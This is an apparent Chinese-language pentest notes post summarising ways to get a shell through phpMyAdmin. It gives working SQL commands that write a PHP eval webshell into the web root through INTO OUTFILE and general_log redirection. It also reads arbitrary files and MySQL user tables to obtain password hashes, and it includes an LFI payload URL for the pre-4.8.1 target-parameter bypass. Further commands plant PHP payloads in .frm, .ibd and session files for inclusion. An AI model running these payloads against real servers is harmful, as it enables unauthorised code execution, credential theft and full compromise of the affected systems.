phpmyadmin 思路总结

Report 漏洞分析

0x01:高权限,知道绝对路径Getshell

如果能获取网站绝对路径并存在有写入权限的目录,直接写入一句话木马Getshell:

select '<?php phpinfo(); ?>' into outfile 'C:\\xampp\\htdocs\\1.php' 

当写文件函数被禁用时,高权限root账号可以将payload写入到日志记录里,这样也能Getshell:

show variables like '%general%';
set global general_log = on;
set global general_log_file = 'C:\\xampp\\htdocs\\1.php';
select '<?php @eval($_POST[cmd]); ?>';

     

0x02:低权限用户读任意文件

在无法获取高权限账户时,我们可以将文件内容写入到表单里再读取:

use thinkphp;
create table test_1(content text);
insert into test_1(content) values(load_file('C:\\xampp\\htdocs\\2.php'));
select * from test_1;

除此之外还可以用load data local infile将文件内容写入到数据表里,这种方式同样能成功获取数据:

use thinkphp;
create table test(content text);
load data local infile 'c:\\xampp\\htdocs\\2.php' into table test;

仅仅只是能读文件还不够,要怎样才能获取高权限的账户呢?mysql存储引擎的表是由 *.frm,*.myd,*.myi 构成:frm文件存储表定义,myd是数据文件,myi是索引文件。通常部署有phpmyadmin服务的都是集成环境,很容易猜到相对路径,而\mysql\data\user.MYD又存有数据库账号的40位哈希值。那我们的最终方案就是将user.frm写入到数据表,再导出数据表获取root账户的密码:

use thinkphp;
create table test(content text);
load data local infile 'C:\\xampp\\mysql\\data\\mysql\\user.frm' into table test;

   

0x03:文件包含及Getshell

ChaMd5团队发现v4.8.1之前的phpmyadmin存在任意文件包含漏洞,漏洞细节就不复述了,大致原因就是在/index.php的第55行:

<?php
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
?>

传入参数$_REQUEST['target']只要绕过过滤,就很明显能包含任意文件,最终的payload如下:

http://192.168.29.130/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../windows/win.ini

能包含任意本地文件后就该考虑怎么Getshell,上节提到frm文件存储表定义,表单内容会存储到相应的frm文件里。比如创建一个hack表,向表里新增一个带payload的字段:

create database lfi_hack;
use lfi_hack;
create table hack(`<?php phpinfo(); ?>` text);

payload就会保存到C:\xampp\mysql\data\lfi_hack\hack.frm里,当然我们也能将payload保存在字段值里:

create database lfi_hack;
use lfi_hack;
create table hack(content text);
insert into hack(content) values("<?php phpinfo(); ?>");

payload同样会保存到同目录下的hack.ibd文件中。除此之外还有种更简便的方法,我们每一条查询语句都会放在临时文件里。以windows下的xampp为例,键名为phpMyAdmin的cookie值是1l6s49q2p845sl0uskdgau7bc6qbof0r,查询select '<?php phpinfo(); ?>'这条记录会转存到C:\xampp\tmp\sess_1l6s49q2p845sl0uskdgau7bc6qbof0r